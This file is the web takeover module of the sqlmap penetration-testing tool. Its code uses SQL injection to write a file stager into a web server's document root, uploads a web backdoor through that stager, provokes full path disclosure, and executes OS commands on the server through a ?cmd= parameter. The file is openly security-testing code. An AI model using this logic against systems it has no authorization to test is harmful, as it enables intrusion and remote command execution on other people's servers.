sqlmap/lib/takeover/web.py

434 lines
18 KiB
Python
Raw Permalink Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
"""
2023-01-03 01:24:59 +03:00
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
"""
import io
import os
2015-05-19 19:40:45 +03:00
import posixpath
import re
2015-11-29 00:42:25 +03:00
import tempfile
2010-01-28 19:56:00 +03:00
from extra.cloak.cloak import decloak
from lib.core.agent import agent
2012-07-13 13:23:21 +04:00
from lib.core.common import arrayizeValue
from lib.core.common import Backend
2010-11-24 14:38:27 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getAutoDirectories
from lib.core.common import getManualDirectories
2012-10-29 13:48:49 +04:00
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique
2019-07-18 12:27:00 +03:00
from lib.core.common import getTechniqueData
2019-10-07 15:20:18 +03:00
from lib.core.common import isDigit
2010-12-15 15:50:56 +03:00
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
2019-06-04 15:44:06 +03:00
from lib.core.common import ntToPosixSlashes
2019-05-03 14:48:41 +03:00
from lib.core.common import openFile
2017-04-06 12:33:59 +03:00
from lib.core.common import parseFilePaths
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
2010-02-25 13:33:41 +03:00
from lib.core.common import randomStr
from lib.core.common import readInput
2012-07-13 12:35:22 +04:00
from lib.core.common import singleTimeWarnMessage
2019-03-28 18:04:38 +03:00
from lib.core.compat import xrange
2019-05-03 14:20:15 +03:00
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
2019-05-03 14:48:41 +03:00
from lib.core.convert import getText
2019-05-06 01:54:21 +03:00
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
2019-03-27 17:48:51 +03:00
from lib.core.datatype import OrderedSet
from lib.core.enums import DBMS
2017-04-06 12:33:59 +03:00
from lib.core.enums import HTTP_HEADER
from lib.core.enums import OS
2011-02-02 16:34:09 +03:00
from lib.core.enums import PAYLOAD
2017-04-06 12:33:59 +03:00
from lib.core.enums import PLACE
2018-12-21 13:29:57 +03:00
from lib.core.enums import WEB_PLATFORM
2014-06-29 02:27:23 +04:00
from lib.core.exception import SqlmapNoneDataException
2013-03-19 22:24:14 +04:00
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
2012-10-29 13:48:49 +04:00
from lib.core.settings import EVENTVALIDATION_REGEX
2018-02-08 19:08:44 +03:00
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
2012-10-29 13:48:49 +04:00
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
from thirdparty.six.moves import urllib as _urllib
2019-05-29 17:42:04 +03:00
class Web(object):
"""
This class defines web-oriented OS takeover functionalities for
plugins.
"""
def __init__(self):
2018-12-21 13:29:57 +03:00
self.webPlatform = None
2011-04-30 17:20:05 +04:00
self.webBaseUrl = None
self.webBackdoorUrl = None
self.webBackdoorFilePath = None
2011-04-30 17:20:05 +04:00
self.webStagerUrl = None
self.webStagerFilePath = None
2011-04-30 17:20:05 +04:00
self.webDirectory = None
2010-01-14 17:33:08 +03:00
def webBackdoorRunCmd(self, cmd):
if self.webBackdoorUrl is None:
return
output = None
if not cmd:
cmd = conf.osCmd
2019-02-09 17:49:52 +03:00
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
2013-03-19 22:24:14 +04:00
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
if page is not None:
2017-10-31 13:38:09 +03:00
output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)
if output:
2010-01-14 17:33:08 +03:00
output = output.group(1)
return output
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
else:
2019-05-03 16:33:32 +03:00
with openFile(filepath, "rb", encoding=None) as f:
content = f.read()
if content is not None:
2019-05-03 16:33:32 +03:00
stream = io.BytesIO(getBytes(content)) # string content
2019-04-01 10:47:36 +03:00
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
# Reference: https://stackoverflow.com/a/4677542
stream.seek(0, os.SEEK_END)
stream.len = stream.tell()
stream.seek(0, os.SEEK_SET)
return self._webFileStreamUpload(stream, destFileName, directory)
2010-01-28 20:07:34 +03:00
def _webFileStreamUpload(self, stream, destFileName, directory):
2013-01-10 16:18:44 +04:00
stream.seek(0) # Rewind
try:
setattr(stream, "name", destFileName)
except TypeError:
pass
2018-12-21 13:29:57 +03:00
if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
multipartParams = {
"upload": "1",
"file": stream,
"uploadDir": directory,
}
2018-12-21 13:29:57 +03:00
if self.webPlatform == WEB_PLATFORM.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
2010-11-24 14:38:27 +03:00
2016-09-28 16:39:34 +03:00
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
2019-05-03 16:33:32 +03:00
if "File uploaded" not in (page or ""):
warnMsg = "unable to upload the file through the web file "
warnMsg += "stager to '%s'" % directory
logger.warning(warnMsg)
2010-02-04 13:10:41 +03:00
return False
else:
return True
else:
2018-12-21 13:29:57 +03:00
logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform)
return False
def _webFileInject(self, fileContent, fileName, directory):
2015-05-19 19:40:45 +03:00
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
2018-02-08 19:08:44 +03:00
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
if isTechniqueAvailable(getTechnique()):
2019-07-18 12:27:00 +03:00
where = getTechniqueData().where
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.NEGATIVE:
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
2019-05-03 14:20:15 +03:00
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))
2018-09-06 01:59:29 +03:00
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
2012-07-06 19:18:22 +04:00
2010-02-16 16:24:09 +03:00
return page
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
2018-12-21 13:29:57 +03:00
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return
2010-01-28 13:27:47 +03:00
self.checkDbmsOs()
default = None
2018-12-21 13:29:57 +03:00
choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
2018-12-21 13:29:57 +03:00
default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
2010-12-14 00:34:35 +03:00
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
2019-10-07 15:20:18 +03:00
if not isDigit(choice):
logger.warning("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warning("invalid value, it must be between 1 and %d" % len(choices))
else:
2018-12-21 13:29:57 +03:00
self.webPlatform = choices[int(choice) - 1]
break
2017-04-06 12:33:59 +03:00
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
2017-04-18 16:48:05 +03:00
if readInput(message, default='Y', boolean=True):
2017-04-06 12:33:59 +03:00
headers = {}
been = set([conf.url])
2017-04-06 12:33:59 +03:00
2017-07-17 23:24:51 +03:00
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
2017-04-06 12:33:59 +03:00
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
2018-06-10 00:38:00 +03:00
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
2017-04-06 12:33:59 +03:00
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
2018-06-10 00:38:00 +03:00
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
2017-04-06 12:33:59 +03:00
if "[]" in value:
2017-06-05 17:28:19 +03:00
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
2017-04-06 12:33:59 +03:00
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
2018-06-10 00:38:00 +03:00
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
2017-04-06 12:33:59 +03:00
if value != cookie:
2017-06-05 17:28:19 +03:00
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
2017-04-06 12:33:59 +03:00
parseFilePaths(page)
2018-06-10 00:38:00 +03:00
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
2017-04-06 12:33:59 +03:00
if value != cookie:
2017-06-05 17:28:19 +03:00
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
2017-04-06 12:33:59 +03:00
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
2019-03-27 17:48:51 +03:00
directories = list(OrderedSet(directories))
path = _urllib.parse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
2018-12-21 13:29:57 +03:00
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
2019-05-03 14:48:41 +03:00
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
2019-05-03 14:48:41 +03:00
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
for directory in directories:
2015-01-19 11:17:16 +03:00
if not directory:
continue
2018-12-21 13:29:57 +03:00
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
2015-05-19 19:40:45 +03:00
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
2014-05-13 17:36:28 +04:00
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
2015-05-19 19:40:45 +03:00
if not directory.endswith('/'):
directory += '/'
2014-08-21 03:12:44 +04:00
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
2014-08-21 03:12:44 +04:00
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
2011-01-23 23:47:06 +03:00
for match in re.finditer('/', directory):
2014-02-17 00:57:14 +04:00
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
2011-01-23 23:47:06 +03:00
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
2011-09-23 22:29:45 +04:00
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
2014-08-21 03:12:44 +04:00
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
2014-08-21 03:12:44 +04:00
infoMsg += "via UNION method"
logger.info(infoMsg)
2018-12-21 13:29:57 +03:00
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
2015-05-19 19:40:45 +03:00
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
2015-11-29 00:42:25 +03:00
handle, filename = tempfile.mkstemp()
2015-11-29 00:44:42 +03:00
os.close(handle)
2019-05-03 14:48:41 +03:00
with openFile(filename, "w+b") as f:
_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
2015-08-03 18:21:35 +03:00
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
2014-02-17 00:57:14 +04:00
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
2015-05-19 19:40:45 +03:00
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warning(warnMsg)
continue
2018-12-21 13:29:57 +03:00
elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
2018-12-21 13:29:57 +03:00
if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
2010-02-25 17:06:44 +03:00
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
2018-02-08 19:08:44 +03:00
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
2017-04-18 15:02:25 +03:00
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warning(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
2017-04-18 16:48:05 +03:00
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
2011-01-23 23:47:06 +03:00
else:
continue
2010-02-25 17:06:44 +03:00
2015-05-19 19:40:45 +03:00
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
2010-02-25 17:06:44 +03:00
2015-05-19 19:40:45 +03:00
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
2014-06-29 02:27:23 +04:00
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break